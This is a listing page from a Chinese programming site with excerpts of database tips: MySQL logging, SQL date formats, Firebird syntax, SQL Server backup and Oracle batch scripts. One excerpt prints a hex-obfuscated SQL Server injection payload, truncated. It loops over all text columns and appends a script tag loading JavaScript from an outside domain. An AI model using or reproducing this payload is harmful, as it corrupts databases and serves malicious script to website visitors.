易截截图软件、单文件、免安装、纯绿色、仅160KB
热门标签: c c# c++ asp asp.net linux php jsp java vb Python Ruby mysql sql access Sqlite sqlserver delphi javascript Oracle ajax wap mssql html css flash flex dreamweaver xml
 最新文章 :

查看MySQL记录执行过的SQL

第一种:查Slow query的SQL语法:
 
log_slow_queries = /var/log/mysql/mysql-slow.log
long_query_time = 2 (超过2秒的SQL语法记录起来,设短一点来记录除错也是一种方法.)
 
第二种:设MySQL Replication用binlog:
 
log_bin = /var/log/mysql/mysql-bin.log (此档要用mysqlbinlog解来看,
mysqlbinlog mysql-bin.000042| grep "T_ABC" | grep "column value"
)
 
mysql会将所有INSERT/UPDATE/DELETE语法记于此(但是语法可能跟你想的不同),这是要写给SLAVE用的log 文件
 
第三种:推荐此方法,将MySQL执行的每行指令全都记录起来:
 
log = /tmp/mysql.log
restart mysql后, tail -f /tmp/mysql.log就可以看到 ......

16进制 SQL注入

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f73652054 ......

sql 日期转换

Select  
CONVERT(varchar, getdate(), 1),--mm/dd/yy  
CONVERT(varchar, getdate(), 2),--yy.mm.dd  
CONVERT(varchar, getdate(), 3),--dd/mm/yy  
CONVERT(varchar, getdate(), 4),--dd.mm.yy  
CONVERT(varchar, getdate(), 5),--dd-mm-yy  
CONVERT(varchar, getdate(), 10),--mm-dd-yy  
CONVERT(varchar, getdate(), 11),--yy/mm/dd  
CONVERT(varchar, getdate(), 12),--yymmdd 
 ----带世纪号 
select convert(varchar(10),getdate(),100) --06 15 2007 或0 
select convert(varchar(10),getdate(),102) --2007.06.15 
select convert(varchar(10),getdate(),103) --15/06/2007 
select convert(varchar(10),getdate(),104) --15.06.2007 
select convert(varchar(10),getdate(),105) --15-06-2007 
select convert(varchar(10),getdate(),106) --15 06 2007 
select convert(varchar(10),getdate(),107) --06-15,200 
select convert(varchar(10),getdate(),108) --10:06:46 当前时间 
select convert(varchar(10),getdate( ......

Interbase/Firebird的SQL语法(收藏)


一、分页写法小例:
SELECT FIRST 10 templateid,code,name from template ;
SELECT FIRST 10 SKIP 10 templateid,code,name from template ;
SELECT * from shop ROWS 1 TO 10;   –firebird2.0支持这种写法
 
二、显示表名和表结构
SHOW TABLES;
SHOW TABLE tablename;
四、更新字段注释
UPDATE RDB$RELATION_FIELDS
SET RDB$DESCRIPTION = ‘描述信息’
WHERE (RDB$RELATION_NAME = ‘SHOP’)
AND (RDB$FIELD_NAME = ‘CREDIT_BUY’)
 
五、显示字段注释
SELECT RDB$FIELD_NAME,RDB$DESCRIPTION
from RDB$RELATION_FIELDS
WHERE (RDB$RELATION_NAME = ‘SHOP’)
AND (DB$FIELD_NAME = ‘CREDIT_BUY’)
 
六、更新表注释
UPDATE RDB$RELATIONS
SET RDB$DESCRIPTION = ‘描述信息’
WHERE RDB$RELATION_NAME = ‘TABLE_NAME’;
 
七、查询所有的表和视图(包括系统表和系统视图)
SELECT RDB$RELATION_NAME
from RDB$RELATIONS;
 
八、查询所有的用户表和用户视图
SELECT RDB$RELATION_NAME
from RDB$RELATIONS
WHERE RD ......

SQL Server如何备份远程数据库到本地

     如果没有远程数据库所在服务器的windows账号密码,仅有远程SQL Server数据库的用户密码,该如何备份远程数据库db1的数据到本地呢?
1:在本地安装通版本的数据库软件(比如:SQL Server2000)
2:在本地数据库服务器上创建数据库db2;
3:使用本地“企业管理器”注册远程数据库,并将远程数据库db1的信息全部复制到本地数据库db2;
4:在本地备份db2。 ......

Oracle如何执行批量sql语句

要创建两个文件
1: runBatch.bat
2: sql.txt
runBatch.bat 内容如下:
sqlplus username/password @sql.txt
pause
sql.txt内容如下:
spool sql.log
create table t1(cname char(20));
insert into t1(cname) values('test');
select * from t1;
spool off
exit
双击runBatch.bat就可以批量执行sql.txt中的sql了。 ......

Oracle如何执行批量sql语句

要创建两个文件
1: runBatch.bat
2: sql.txt
runBatch.bat 内容如下:
sqlplus username/password @sql.txt
pause
sql.txt内容如下:
spool sql.log
create table t1(cname char(20));
insert into t1(cname) values('test');
select * from t1;
spool off
exit
双击runBatch.bat就可以批量执行sql.txt中的sql了。 ......
总记录数:40319; 总页数:6720; 每页6 条; 首页 上一页 [245] [246] [247] [248] 249 [250] [251] [252] [253] [254]  下一页 尾页
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号